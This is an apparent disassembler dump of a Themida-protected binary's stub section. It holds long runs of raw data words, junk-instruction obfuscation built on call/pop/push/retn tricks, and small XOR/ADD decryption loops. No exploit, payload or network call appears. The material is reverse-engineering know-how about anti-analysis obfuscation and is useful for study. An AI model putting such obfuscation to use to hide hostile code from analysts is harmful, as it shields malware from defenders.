dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 746AC357h, 2510238Bh, 0EB811460h, 2E8AD5BCh, 116995FFh
dd 0BD8B0614h, 614210Dh, 0FB5B9h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0E183F01Eh
dd 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 0C0446454h, 39B501D0h, 0FC06140Dh, 2BDFB70Fh
dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 9AA7A8D2h, 54B91D14h, 0BAh, 20BF5100h, 5B48A276h
dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 0DEC35343h, 9E87D98h, 92000000h
dd 0A99914A6h, 0E15873A2h, 0CAE8BF66h, 56006A5Fh, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0C9E7DE9Dh, 0B8C8C1C4h, 0D88B6603h, 0D9EE380h, 88h
dd 958B4AB7h, 6143229h, 8B95D380h, 14064D8Dh, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8A58188Bh
dd 52006AF9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 9C56ED9Bh, 24A56AC4h, 29ADBD83h, 0F000614h
dd 7284h, 219D8900h, 80061415h, 0B8E9F7h, 53000000h, 8D5FD88Bh
dd 144D798Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 1027F571h, 9158C319h, 0D381664Ah
dd 0E1FF613Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 0BAC35343h, 0E92CCDBDh, 5, 0B593D2FAh, 0D19D8B09h
dd 8306140Ah, 142671BDh, 840F0006h, 470h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Ch, 66C35040h, 3029331h
dd 9639EEEDh, 71BD83FCh, 1061426h, 459840Fh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 102BD6C3h, 894EF65Dh, 141C6185h, 71BD8306h, 3061426h
dd 3EF860Fh, 85890000h, 6142AC1h, 12E8h, 14569500h, 104B1BC9h
dd 29BA893Dh, 3E6D6A3Ch, 0F97456B5h, 6A605Fh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 8C66CBC3h
dd 50006AD9h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 3BA1C6Dh, 142559BDh, 80CEB706h, 6A04E1h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0AC1E37C3h, 0AFF8A4Ah, 48840FC9h, 0F000001h, 858BFFB7h
dd 6141969h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 71C35747h, 1A72FCF7h, 159D8Bh, 85330614h, 6141B81h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A6C35141h
dd 0FDE1CB1h, 687h, 6D958900h, 90061405h, 310F5250h, 7E8h
dd 0FBF5BD00h, 0E233137Eh, 5BFB8B66h, 9050585Ah, 9759D23h
dd 6A0614h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 0CFC35646h, 809EE5ACh, 4E84043h, 0FF000000h, 0BB001F03h
dd 6656C6BCh, 8BD88B50h, 52042444h, 8B008B5Fh, 244489DEh
dd 6E804h, 97110000h, 0DB03B003h, 5E9h, 0DD520200h, 585FBF81h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1BC35242h
dd 1ADBD09h, 95FF0614h, 61409ADh, 1D8DBD8Bh, 85890614h
dd 617AA98h, 3850Fh, 0BF0F0000h, 1D3E9DFh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h
; ---------------------------------------------------------------------------
and al, 4
loc_594F42: ; DATA XREF: ___:off_438C78o
add dword ptr [esp+4], 14h
inc edx
push edx
retn
; ---------------------------------------------------------------------------
db 6Bh, 53h, 0E8h
dd 5, 64B8538Eh, 0E9BB6658h, 8B5F5FA7h, 17AA9085h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 8501ACF2h, 6140E15h, 1800C7h, 870F0000h, 1, 94B58BF9h
dd 290617AAh, 14063195h, 29858B06h, 6A06140Bh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 2625C356h, 25E91BF7h, 660689BFh, 8B6783BBh, 14196985h
dd 8C0F5106h, 6, 26758589h, 8B5F0614h, 142B65BDh, 4468906h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 15C35040h
dd 9034EA84h, 8B60379Fh, 669661CFh, 5099A1BFh, 57006A96h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0E54F8707h, 0AFDB8166h, 90B5FF8Bh, 6A0617AAh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 3B2C352h, 1F9A08DDh, 0E5A6800h, 8B666A5Bh, 243481FAh
dd 6A440DA5h, 0D59D8B56h, 5B061406h, 0AA98858Dh, 6A0617h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 40CBACC3h, 8B721D8Fh, 1414E19Dh, 66505006h, 5B4038BFh
dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 0EA85C357h, 8D89A3EBh, 6140FA5h
dd 0FCD8589h, 95FF0614h, 61409ADh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 73C35040h, 29B5339Ch, 0BD8B61F5h
dd 6140659h, 2185B589h, 85C70614h, 6142671h, 3, 0FF59589h
dd 12E80614h, 9A000000h, 921E0552h, 72F267A8h, 0B7869B60h
dd 0BB19D812h, 810F53A5h, 0
; ---------------------------------------------------------------------------
pop edi
pop ebx
cmp dword ptr [ebp+617AA98h], 0
jz loc_595175
jg loc_595169
call sub_595162
add edi, [edi+esi*2-7B0876F0h]
dec esp
; =============== S U B R O U T I N E =======================================
sub_595162 proc near ; CODE XREF: Themida_:00595155p
mov ebx, [ebp+6142B8Dh]
pop ebx
loc_595169: ; CODE XREF: Themida_:0059514Fj
cmc
jmp loc_595190
; ---------------------------------------------------------------------------
mov edi, [ebp+6142B69h]
loc_595175: ; CODE XREF: Themida_:00595149j
; sub_595162+2Aj
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_595175
jmp short loc_5951C6
; ---------------------------------------------------------------------------
loc_595190: ; CODE XREF: sub_595162+8j
; sub_595162+45j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_595190
jmp short loc_5951C6
; ---------------------------------------------------------------------------
loc_5951AB: ; CODE XREF: sub_595162+60j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5951AB
jmp short $+2
loc_5951C6: ; CODE XREF: sub_595162+2Cj
; sub_595162+47j
mov eax, eax
push 0
push ecx
call sub_5951D3
and [ecx-3Dh], bl
sub_595162 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5951D3 proc near ; CODE XREF: sub_595162+69p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5951D3 endp
; ---------------------------------------------------------------------------
xor edx, [eax+598D8B60h]
push cs
adc al, 6
movzx eax, di
popa
mov [ebp+6142A85h], edx
mov edi, [ebp+614058Dh]
push 0
push edi
call sub_595207
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_595207 proc near ; CODE XREF: Themida_:005951FFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_595207 endp
; ---------------------------------------------------------------------------
add [ebp+66h], esi
scasb
mov edi, [ebp+614068Dh]
stc
cmp dword ptr [ebp+6142671h], 3
jnz loc_595701
push 0
push edx
call sub_59523A
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59523A proc near ; CODE XREF: Themida_:00595232p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
loc_595248: ; CODE XREF: Themida_:0059524Aj
push edx
retn
sub_59523A endp
; ---------------------------------------------------------------------------
loope loc_595248
xor al, 12h
pop es
and ah, [edx]
scasd
jmp loc_595267
; ---------------------------------------------------------------------------
db 8Eh
dd 45BC39A4h, 0A2361FA0h, 0EB21C78Ah
db 10h, 9Dh, 6Eh
; ---------------------------------------------------------------------------
loc_595267: ; CODE XREF: Themida_:00595252j
cmp dword ptr [ebp+617AA98h], 0
jz loc_595701
push 0
push ecx
call sub_59527F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59527F proc near ; CODE XREF: Themida_:00595277p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_59527F endp
; ---------------------------------------------------------------------------
dec edi
adc [ecx-238A9BAh], dh
jnp loc_5952A2
mov [ebp+61403E9h], ecx
loc_5952A2: ; CODE XREF: Themida_:00595296j
movsx edi, bx
push dword ptr [ebp+617AA98h]
push 0
push ebx
call sub_5952B6
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5952B6 proc near ; CODE XREF: Themida_:005952AEp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5952B6 endp
; ---------------------------------------------------------------------------
or [ecx+ebp*8+0Eh], cl
sbb [edx], ebp
sal dword ptr [esi-2Ch], 0D2h
mov ebp, 3C3D1515h
mov esi, 0BD899A45h
dec ecx
or [esi+eax], dl
call dword ptr [ebp+6142AF5h]
push 0
push eax
call sub_5952F2
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5952F2 proc near ; CODE XREF: Themida_:005952EAp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5952F2 endp
; ---------------------------------------------------------------------------
dec esi
pop es
mov [ebp+6142EADh], esi
mov esi, [ebp+617AA8Ch]
push edi
movsx ebx, cx
pop ebx
mov dword ptr [esi], 10001h
push 0
push edi
call sub_595326
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_595326 proc near ; CODE XREF: Themida_:0059531Ep
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_595326 endp
; ---------------------------------------------------------------------------
sar dword ptr [esi], 1
mov di, 5872h
jmp loc_59534A
; ---------------------------------------------------------------------------
cmc
cmp al, 36h
icebp
adc eax, 9673E031h
loc_59534A: ; CODE XREF: Themida_:0059533Cj
push eax
mov edi, 3D5FCE44h
mov [esp], esi
push 0
push ebx
call sub_59535E
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59535E proc near ; CODE XREF: Themida_:00595356p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_59535E endp
; ---------------------------------------------------------------------------
or ah, [esi-75h]
fisttp word ptr [ecx+14035DB5h]
push es
push dword ptr [ebp+617AA98h]
jo loc_595386
mov bh, 0C5h
loc_595386: ; CODE XREF: Themida_:0059537Ej
call dword ptr [ebp+6140B31h]
push 0
push edx
call sub_595397
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_595397 proc near ; CODE XREF: Themida_:0059538Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_595397 endp
; ---------------------------------------------------------------------------
db 2Eh
; ---------------------------------------------------------------------------
jnp short loc_59540A
mov cl, 88h
mov edx, [ebp+61424EDh]
popa
mov esi, [ebp+617AA8Ch]
push 0
push ebx
call sub_5953C4
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5953C4 proc near ; CODE XREF: Themida_:005953BCp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_5953C4 endp
; ---------------------------------------------------------------------------
dd 541493A3h, 0E985619Eh, 6, 3664DE08h, 95893449h, 6141A7Dh
dd 21D5858Bh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_59540A: ; CODE XREF: Themida_:005953A8j
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
aaa
push ecx
jl short loc_595487
jnb short near ptr loc_595428+1
mov [ebp+6142455h], ecx
mov [esi+0C4h], eax
push 0
push edx
call sub_59542B
loc_595428: ; CODE XREF: Themida_:00595412j
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59542B proc near ; CODE XREF: Themida_:00595423p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_59542B endp
; ---------------------------------------------------------------------------
db 0FEh
dd 0ED79CC5Eh, 0CFAFCE3Ch, 15D9BD8Bh, 8B660614h, 29958BFAh
dd 66061432h, 8308E0BBh, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0E611DEC3h, 89F357F0h
dd 6A2050h, 3E852h
db 2 dup(0), 20h
; ---------------------------------------------------------------------------
loc_595487: ; CODE XREF: Themida_:00595410j
pop edx
retn
; ---------------------------------------------------------------------------
pop edx
mov [esp+4], edx
add dword ptr [esp+4], 16h
inc edx
push edx
retn
; ---------------------------------------------------------------------------
db 79h, 0F1h, 0D6h
; ---------------------------------------------------------------------------
clc
lea eax, [ebp+617BE06h]
push 0
push edx
call sub_5954AE
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5954AE proc near ; CODE XREF: Themida_:005954A6p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5954AE endp
; ---------------------------------------------------------------------------
dw 5E6Fh
dd 70E8AF3h, 8509852Eh, 6140CA9h, 8689D88Bh, 0B8h, 8E0Fh
dd 6A0000h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 0F5C35343h, 159D33h, 0B5FF0614h, 617AA98h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0D1C35747h, 0D7A44CADh
dd 0DDC08060h, 0FF61C38Bh, 14093995h, 55006A06h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 898FD374h, 1400E585h, 0EE99606h, 0C0000000h, 0AA461AFh
dd 0D4A184FAh, 0B6F15927h, 12E850A3h, 77000000h, 9E6C6BBBh
dd 54EB4589h, 0E1B86A7h, 0FCAF6546h, 5B5160CAh, 5F616160h
dd 6BBB6696h, 98B5FF81h, 6A0617AAh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0CE3AC356h
dd 8971673Dh, 140E959Dh, 0F595FF06h, 6A061420h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 0F53BC350h, 0BD83FE8Bh, 6140C21h, 32840F00h, 0F000000h
dd 0E996FBB7h, 14h, 0D3301596h, 0C884030Bh, 0FDD03165h
dd 80F25D34h, 2AF00357h, 50525050h, 50310F52h, 5A310F52h
dd 0F585A58h, 96585A31h, 98B5FFFCh, 6A0617AAh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 754CC353h, 8E1694C3h, 68DF8009h, 2B195FFh, 6A0614h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 3F01FFC3h, 98B5FF15h, 890617AAh, 1404F985h, 8195FF06h
dd 60061430h, 61F88B60h, 95D38166h, 80606169h, 8361C6C9h
dd 1409F5BDh, 840F0206h, 3Ah, 21C9BD89h, 858B0614h, 6142D01h
dd 0D3F78166h, 0C6A7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 0DAC35747h, 8E58AA11h, 6609B79Bh, 85C7F98Bh
dd 614244Dh, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5956EB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5956EB proc near ; CODE XREF: Themida_:005956E3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5956EB endp
; ---------------------------------------------------------------------------
or ah, [ebx+468D6EF7h]
loc_595701: ; CODE XREF: Themida_:00595229j
; Themida_:0059526Ej
jmp near ptr dword_594984+8
; ---------------------------------------------------------------------------
or [ebp+6141AC1h], edi
mov eax, ecx
push 0
push edi
call sub_595719
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_595719 proc near ; CODE XREF: Themida_:00595711p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_595719 endp
; ---------------------------------------------------------------------------
db 71h, 8Ch, 73h
dd 8689F182h, 0E9710A05h, 11h, 0EC69220Ch, 9A8A7766h, 0AF730799h
dd 19D9DD1Ah
db 8Ah
; ---------------------------------------------------------------------------
loc_595749: ; CODE XREF: Themida_:loc_5948A9j
lea eax, [ebp+6140F99h]
push 0
push esi
call sub_59575A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59575A proc near ; CODE XREF: Themida_:00595752p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_59575A endp
; ---------------------------------------------------------------------------
dec esi
lea esp, [esi-48433CE3h]
clc
push eax
mov [esp], eax
push 0
push ecx
call sub_595781
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_595781 proc near ; CODE XREF: Themida_:00595779p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_595781 endp
; ---------------------------------------------------------------------------
db 8Ch, 4Ah, 6Ah
dd 0C4A8898Bh, 0EE9h, 0C16BDE00h, 5E3289A5h, 6EF3E258h
dd 66B7D4B1h, 0E8E6DF81h, 9589006Ah, 61414E1h, 9D33006Ah
dd 6141615h, 0CDF8858Dh, 6A0618h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 8D8960C3h, 6140971h
dd 8B05C083h, 1412BD9Dh, 11E99006h, 0B9000000h, 0E12B8DC5h
dd 0BBCB65DAh, 0D63B535Fh, 868F6331h, 0BB665350h, 905BD05Ah
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0DCC35343h
dd 455CFEh, 0F60EBD1h, 683h, 39958900h, 6A061430h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 50EF7AE4h, 8B19D2F8h, 140975BDh, 6A006A06h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 50ACC351h, 0FF98037Fh, 141A7195h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 9454FA3Ah
dd 0E9D85131h, 0Fh, 2FFBA440h, 0AE71E3C5h, 0CE88687Eh
dd 8DBB9BA3h, 17A8FC8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 7624F643h, 33BF60B1h
dd 8B65B305h, 140E398Dh, 0D1FF6106h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 7C35343h, 50E44EF0h, 6EBBF007h
dd 834418AEh, 1412CDBDh, 850F0106h, 0A7h, 0C6CB8166h, 7AD78105h
dd 6A5EC078h, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1404h, 0C3554500h, 0D1958994h, 80061402h, 509002CFh
dd 9E952h, 524A0000h, 0F0FC3D55h, 0F03B5ADh, 5E831h, 901B0000h
dd 5FA4975Ch, 0BF50585Ah, 6A3D8C78h, 51006A90h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 93154BDEh
dd 0D982CBA6h, 93995FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 0AF8C0DC3h, 78BF10BDh
dd 0E9272ED9h, 0D99h, 0E8h, 0ED815D00h, 618CE02h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 82C35343h, 6A65B035h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 0A3DBC351h, 2EFDB589h, 858D0614h, 6179623h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0ECC35040h
dd 2349A384h, 1425E1BDh, 0CB816606h, 60907B54h, 61616060h
dd 61D68B66h, 983EBF50h, 6A904F1Eh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 315C357h
dd 2B818589h, 0FF640614h, 35h, 59BD8900h, 6406142Fh, 2589h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 0D0F647C3h, 8DBD0B08h, 0FF061431h, 14236D85h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 1AA4F1B7h, 0C49BAE44h, 0BB66313Bh, 0FF6A7E24h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A0C35141h
dd 0EA3EC897h, 95858976h, 5106140Ch, 0FF5BD98Bh, 142319B5h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 8174F882h, 69BD89F0h, 0FF06140Eh, 142B1995h
dd 0F0E906h, 0BD8B0000h, 6141D41h, 0B032B3h, 0DE8h, 1150FE00h
dd 548BE7C0h, 6ECAB287h, 0B529502Ah, 6141FC5h, 0E470E65Fh
dd 41BD8B71h, 3C061411h, 0BB830F61h, 23000000h, 1408F9BDh
dd 0C8B60F06h, 0D4EB8166h, 6BAAEh, 0B70F0000h, 0BFC18BD9h
dd 71EDCBB3h, 8104E8C1h, 66FD53EFh, 0E2F76623h, 0BF66C82Bh
dd 0D18B70FEh, 83E9EBB3h, 0FC000000h, 12E9h, 0E12E6B00h
dd 0A933D047h, 17478B4h, 2C0919A6h, 8B2CB54Ch, 185h, 0DBBF0F00h
dd 8007C083h, 0C083E9C3h, 1DBD8B00h, 3B06142Dh, 19830FD0h
dd 0F9000000h, 45E9h, 0EE900h, 32A90000h, 0CCEAAC3Eh, 47CEA425h
dd 1A4D82F7h, 0FFFF8D8Bh, 8B66FFFFh, 1E183FAh, 20840Fh
dd 0BD8B0000h, 6142C65h, 0FFFFA583h, 66FEFFFFh, 3E17E381h
dd 19589h, 8B660000h, 0E9FAh, 0B58D0000h, 6184BE9h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 76C35545h, 0F8C5DC34h
dd 0E918589h, 6A0614h, 0C591FBFh, 0CD9D8B63h, 0FF06141Ch
dd 14116995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 12FF82A9h, 0F5FAE550h, 0FF8B9h, 5DBD8B00h
dd 8306140Fh, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 60D7A2C3h, 0FD8BF0Fh, 0FC61D8B7h
dd 9E8h, 84B5B400h, 10B0DA0Ah, 8B66EDE8h, 7E85FFBh, 6000000h
dd 19D955Ah, 8D89CA2Dh, 614199Dh, 6AC02B5Fh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 0CA94C351h, 7D0E20B0h, 0CEA393C0h, 0D98B66F9h, 0BAh
dd 0ADFA8B00h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 3A47C356h, 0AB6DD989h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 3FC35141h, 0FA8B3294h, 880Dh, 35BD8B00h
dd 8B06140Dh, 14322995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 6249DC98h, 4D8D8BF5h
dd 6A061406h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 0F205C351h, 50CEC658h, 188BC28Bh
dd 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 2921409Dh
dd 140F819Dh, 0ADBD8306h, 61429h, 84840Fh, 0DA8B0000h
dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 8DF01C83h, 0CCD5E8A8h, 0C2DB813Eh
dd 8D432E5Dh, 144D798Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 8B89FAC1h, 142AF19Dh
dd 6AE1FF06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 0D54AC356h, 6E562FB6h, 0F359509h
dd 0BD830614h, 6142671h, 0FB840F00h, 6A000003h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 76CBC350h, 0FE9CCEEh, 684h, 51BD8B00h, 8306141Ah, 142671BDh
dd 840F0106h, 3DDh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 6EC35040h, 5F722BE8h, 5B6ABA80h, 6024BB66h
dd 2671BD83h, 0F030614h, 37286h, 818D8900h, 60061429h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 67C35040h
dd 663E8B21h, 0A443D381h, 6AD98C66h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EACC353h
dd 4E18011h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 96C35747h, 289F5B0Eh, 0C90AB138h, 140840Fh
dd 66600000h, 0B533FA8Bh, 6142945h, 69858B61h, 6A061419h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 0A774C351h, 4E783EE6h, 8185331Ch, 0E906141Bh
dd 0Fh, 0FD2CC835h, 7572F9F8h, 71EB1009h, 2B84C5C6h, 1419ADBDh
dd 0FE89006h, 2C000000h, 7D7B68B7h, 0BFA507ABh, 91256367h
dd 12E90E0Dh, 0B8000000h, 4B9000FEh, 0CB27A6F7h, 7D26FB7Dh
dd 3EDB50E8h, 0F505F1Bh, 482h, 72BB6600h, 9589909Ch, 61403D1h
dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 9D141AC3h, 0C571088Ah, 0B668D935h, 0F957BB0h
dd 138Ah, 0DE800h, 4D2C0000h, 0C244FE14h, 0DE1D8333h, 5FBC9867h
dd 49240481h, 316AA353h, 1413898Dh, 0AD95FF06h, 6A061409h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 89E1C353h, 17AA9885h, 21BD8B06h, 0E906142Ch
dd 187h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 4FC35141h, 6660CBD0h, 8B4FF0B8h, 14224995h, 858B6106h
dd 617AA90h, 2B45B589h, 0C70614h, 18h, 106D8531h, 0B58B0614h
dd 617AA94h, 244A28BFh, 29858B5Fh, 6A06140Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 80B1C355h, 248FD1DCh, 9DBD8BF9h, 8906142Ah, 1958906h
dd 8B06140Dh, 14196985h, 8E806h, 526F0000h, 45D513C8h
dd 0F380EF2Fh, 0BD8B5FD3h, 6141C61h, 81044689h, 13BD77EBh
dd 6056962Eh, 14E8h, 0E0E59600h, 4E186BE7h, 0EDA3087Ch
dd 0E8D0168Eh, 0CEA99DADh, 0E28A5EF2h, 0BB505B61h, 76C8F3FDh
dd 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 0DCDDEF7Dh, 9D091B1Ch, 6141411h, 0AA90B5FFh
dd 890F0617h, 6, 30C59589h, 46680614h, 81E18856h, 0ADB92404h
dd 6A1E96h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
